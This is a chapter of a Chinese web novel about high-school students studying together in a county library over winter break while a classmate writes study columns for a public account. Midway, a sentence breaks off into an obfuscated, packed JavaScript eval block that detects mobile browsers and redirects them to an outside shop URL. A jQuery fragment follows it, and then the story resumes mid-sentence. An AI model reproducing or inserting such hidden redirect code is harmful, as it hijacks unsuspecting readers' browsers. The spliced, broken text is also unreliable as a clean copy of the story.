腊月二十八，远安县的气温降到了零下四度。
苏晚柠推开图书馆二楼自习室的门。
屋子里有人。
赵磊坐在倒数第二张桌子旁边，桌上摆着一摞物理卷子和一本语文必修五。他穿了一件深灰色的棉袄，拉链拉到下巴，右手握笔，左手揣在袖管里——用到的时候才抽出来，抽出来的时候指尖是红的。
他没有注意到苏晚柠进来。
苏晚柠顿了一下。赵磊为什么会在这里——他家不是在县城北边吗，离这儿骑车要四十分钟。但也说不定他就住附近。或者，他也需要一个没人跟他说话的地方。
她没有走过去打招呼。选了最前面靠门的那张桌子，把书包放下来，椅子的木轴响了一声。
赵磊抬起头。
两个人对视了一下。
"你也来了。"赵磊说。语气不像惊讶，更像确认。
苏晚柠把练习册拿出来，翻到昨天折角的那一页。没有问他为什么来，没有解释自己为什么来。
赵磊低头继续写。
没有再多说。两个人之间隔了四张桌子，说话要稍微提高声音，但他们都没有。屋子里只有笔尖划纸的声音和暖气片里面水流动的声音——咕噜咕噜的，像肚子里在叫。
苏晚柠开始写生物。必修三，生态系统，能量流动。她在期末考之前就把这一章看过三遍了，但每次看都有地方想不通——为什么能量传递效率是10%到20%，而不是一个固定值？她把课本翻到六十四页，读了一遍，然后在练习册上画了一个箭头图。
写了大约四十分钟的时候，楼梯口有脚步声。
不是重的那种——是鞋底蹭着楼梯面的声音，轻微的，像怕吵到谁。
苏晚柠抬起头。
李可站在门口。
她穿了一件深蓝色的羽绒服，拉链拉到最上面。刘海还是遮着大半张脸，但比期中考试那时候稍稍往上撩了一点——能看到眉毛了。左手抱着一本书，右手拎着一个塑料袋，里面装着一支笔和一本练习册。
她站在门口，目光扫过屋子。
扫到赵磊的时候，赵磊正好抬头——两个人对视了不到半秒，赵磊先挪开了眼。
扫到苏晚柠的时候，苏晚柠没有挪眼。她朝李可微微点了一下头。
李可走进了屋子。她的步子很轻，鞋底和地板之间几乎没有声音。她选了靠窗最后一张桌子——和赵磊之间隔了两张空桌，和苏晚柠之间隔了整排。
她坐下来。把练习册翻开——苏晚柠从这个角度能看到封皮："5年高考3年模拟·化学"。李可翻开到中间的位置，不是从第一页开始做的——她有自己标记过的页码，铅笔划的横线，很轻。
苏晚柠低下头，继续写生物。
十一点半，苏晚柠把笔放下。
她站起来，活动了一下手指。赵磊还在写，笔没有停过。李可也在写，头低着，刘海几乎碰到练习册的纸面。
苏晚柠走到楼梯口。楼下服务台旁边有一台饮水机，上面贴着"热水"和"温水"两个标签。她拿水杯接了一杯热水，吹了吹，喝了一口。
手机在口袋里震了一下。
她把手机掏出来。
是"柳树下"公众号的后台推送提醒——有人留言了，系统自动通知管理员。她点开。留言是匿名的："化学配平那篇，我让我班学生都看了。有没有计划写物理的？物理是大多数人的死穴。"
苏晚柠想了一下，打了一行字发给宋星燃："后台有留言问物理专栏。你有计划写吗？"
三分钟之后，宋星燃回了两个字："在写。"
苏晚柠看着那两个字。
"在写"——意思是他这会儿在家，对着电脑。腊月二十八，第二天就是除夕，他坐在家里写公众号。
她把手机放回去，端着水杯上了楼。
下午两点，苏晚柠的生物练习册做了二十多页。她把必修三的能量流动那道大题终于想通了——不是老师讲过的那种想通，是自己把箭头图画到第四版的时候，突然发现传递效率其实是一个统计值，不是设计值。
她抬头看了一眼赵磊。
赵磊正在用尺子画受力分析图。圆规的针尖扎进纸面，他另一只手按着尺子——手指还是红的，但不再发僵了，动作很稳。
再往窗那边看——李可的"5·3化学"已经翻到了后面。她正在用铅笔在草稿纸上写反应方程式，写的不是题目里给的——是自己在推。推到某一步的时候，她停了。笔尖悬在纸面上方大约两毫米的位置，停了大概五秒。然后把笔放下来，从书包里掏出一本更小的本子——那个本子苏晚柠认得，是李可的化学方程式手抄本。她翻到其中一页，看了一下，然后把笔拿起来，继续写。
她没有用背单词的方式在背了——她在处理那些方程式之间的关系。
苏晚柠看了大概十秒，然后把目光收回来。
她打开手机，看了一眼"柳树下"的后台。关注数：8124。比十二月又涨了一些。
她又发了一条消息给宋星燃："物理专栏什么时候发？"
这次隔了七八分钟才回："初八之前。还有两节没写完。"
苏晚柠想了一下，打了四个字："那你不来图书馆？"
发完之后她觉得这句话有点怪——好像她觉得宋星燃应该来似的。但其实她只是好奇。
回复来了："家里有电脑。图书馆没有。"
对。公众号要在电脑上排版、上传、预览、群发。图书馆没有他需要的设备。
苏晚柠放下了手机。
下午四点，天开始暗了。
冬天的夜长，四点半就已经是黄昏的颜色了。从图书馆二楼窗户看出去，老街口的梧桐树光秃秃的，树枝和灰色的天空之间没有什么过渡。
赵磊收拾东西了。他把物理卷子用橡皮筋扎成一摞——苏晚柠注意到，不是随便扎的，是按日期顺序排列的，最新的一套在最上面。他把这摞卷子放进书包里，拉链拉了一半，想了一下，又拉开，把最上面那套抽出来，单独放在书包的侧兜里。
然后他站起来，椅子响了一声。
他往门口走，经过苏晚柠的桌子的时候停了一下。
"走了。"
"嗯。明天还来吗？"
赵磊想了一下。"来。初八之前每天来。"
他说完继续往门口走。经过窗边那张桌子的时候，他的步子没有明显停顿——但如果仔细看，他的目光在李可的练习册上扫了一下。只是扫了一下，然后走出了屋子。
苏晚柠继续写。她把生物必修三剩下的大题全部做完了——对了一下答案，错了两道选择题，大题全对。
她把练习册合上，伸了一个懒腰。
李可还在写。
苏晚柠没有打扰她。收拾好自己的东西，背上书包，走出了图书馆。
外面的空气像一堵墙。
从暖气片旁边的二十六度一下子走到零下的温度，鼻腔里的空气像是被刀刮了一下。她把校服领子竖起来，拉链拉到最上面，低着头往家的方向走。
走了大概二十步，她把手机掏出来。有一条新消息。不是聊天消息——是"柳树下"后台的自动提醒：有人关注了公众号。
她点开后台数据页面。新关注用户的来源：会话/朋友圈。
她想了一下，打了一行字发给宋星燃："新增了一个关注。来源是会话。"
宋星燃回了一个"收到"的表情包——是一个小人在打字，打了很久，最后打出来一个"好"字。
苏晚柠笑了。把手机放回去，继续走。
腊月二十九。
苏晚柠又去了图书馆。
这次赵磊比她先到——他的那摞物理卷子已经在桌子上了，橡皮筋换了一根新的。李可也到了，坐在窗边的位置，化学练习册翻到了新的一页。
苏晚柠走到自己的位置上坐下来。把英语练习册拿出来。
三个人之间没有打招呼的固定流程了——昨天已经打过照面了，今天再见面就像在教室里一样。赵磊抬头看了一眼，点了点头，然后继续写。李可没有抬头，但苏晚柠注意到她的练习册边上多了一支新的笔——不是昨天那支，是蓝色的，昨天那支是黑色的。
这意味着她昨天回去了之后，又准备了今天要用的东西。
苏晚柠觉得这个地方有一点奇妙——他们三个人的寒假，本来应该是各自在家度过的。但每个人都来了——赵磊骑四十分钟自行车，李可从乡下坐二十分钟公交车。没有人约，没有人组织。他们只是各自在做同一件事。
她不知道宋星燃在家具体写到了哪里。但她知道他在写——因为昨晚睡前又看了一眼后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646836|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
台，"柳树下"的物理专栏第三篇还没有发出来。
正月十二。
寒假已经过去了一大半。
苏晚柠在图书馆的打卡进入了第十四天。她不知道赵磊来了几天——每次她到的时候赵磊已经在那里了，每次她走的时候赵磊还在写。他的物理卷子从三十多套变成了四十多套——不是又买了新的，是他把之前做过的又做了一遍，用不同颜色的笔写第二遍答案。
李可每天来。她的化学练习册从"5·3"换成了"小题狂做"——基础篇做完了，开始做提升篇。她有一次在图书馆的洗手间里待了比较久，出来的时候手上是湿的，苏晚柠猜测她可能在洗手间里哭了——但没有证据，也没有问。
苏晚柠自己的英语从必修一刷到了必修四。她的语感在一个什么地方发生了微小的变化——说不清楚，但做题的时候，有些空不需要分析语法就能"感觉到"答案是什么。
她把这叫做"手感"。
正月十五，元宵节。
图书馆不开放。
苏晚柠在家里过了节。苏妈包了汤圆，芝麻馅的。苏晚柠吃了八个，然后被苏妈说"你是猪吗"。
晚上，她打开手机，登录"柳树下"的后台。
物理专栏第三篇已经发出来了——标题是"力学六种模型一张表（下）"。她点开看了一遍。写得很清楚。评论区有十二条留言，其中一条是："这篇文章应该打印出来贴在教室里。"
她给宋星燃发了一条消息："物理专栏第三篇发了？"
宋星燃回："昨天晚上发的。你没看？"
"我在吃汤圆。"
"……"
"挺好的，我看了。第六种模型那个例题，你用的2015年全国I卷？"
"嗯。那道题值得把两种方法都写一遍。"
"你什么时候回学校？"
"初八。你呢。"
"初八。"
"那图书馆见。"
这条消息发出来之后，对面停了大概十五秒。
然后宋星燃回："我在家。你来？"
苏晚柠打："我已经去了十四天了。赵磊和李可也在。"
十五秒的停顿。
宋星燃回了一个字："好。"
苏晚柠看着那个"好"字。
她忽然想到——宋星燃不知道这件事。不是"可能不知道"，是确确实实不知道。没有人告诉他，他们三个也没有约过。这只是三件独立发生的事情，在同一个时间点、同一个屋子里重叠了。
而宋星燃坐在家里，对着电脑，在写那些能让更多人看到的东西。他让赵磊理解了"稳住"不是考一次高分，但他不知道赵磊把这句话带到了图书馆。他让李可看到了化学不是背出来的，但他不知道李可已经不用背方程式的方式在学了。
他在你看不见的地方播了种，但看不见那些种子在你看不见的地方发芽。
苏晚柠把手机放在枕头旁边。
窗外有零星的烟花。正月十五，还有人在放。
正月十六，开学。
早上六点四十分，远安县高中的灯亮了。
苏晚柠走到教室门口的时候，赵磊已经在里面了。他的物理卷子没有带到学校来——那些卷子留在了家里，但他说过"题型已经装进脑子里了"。
他桌上没有摞卷子了——取而代之的是一张纸，上面画着六个方框，每个方框里写着一种物理题型。铅笔写的，线条很轻，但每个字的间距是均匀的。
李可坐在最后一排靠窗的位置，化学练习册放在桌角——不是"小题狂做"了，是课本。她在看课本。
宋星燃从后门走进来。他穿了一件黑色的棉袄，校服搭在胳膊上。他走过赵磊的桌子旁边的时候，赵磊抬头看了他一眼。
没有说话。
但苏晚柠注意到，宋星燃走过那张桌子的时候，步子没有停——但他嘴角动了一下。
她不知道那是为什么。
但她知道，有些事不需要解释。
晚上，苏晚柠打开"柳树下"的后台。
关注：8372。
寒假二十天，涨了将近三百。
她关掉了页面。
宋星燃不知道他们在图书馆。
但他写的那些东西，在他们看不见的地方，一直在涨。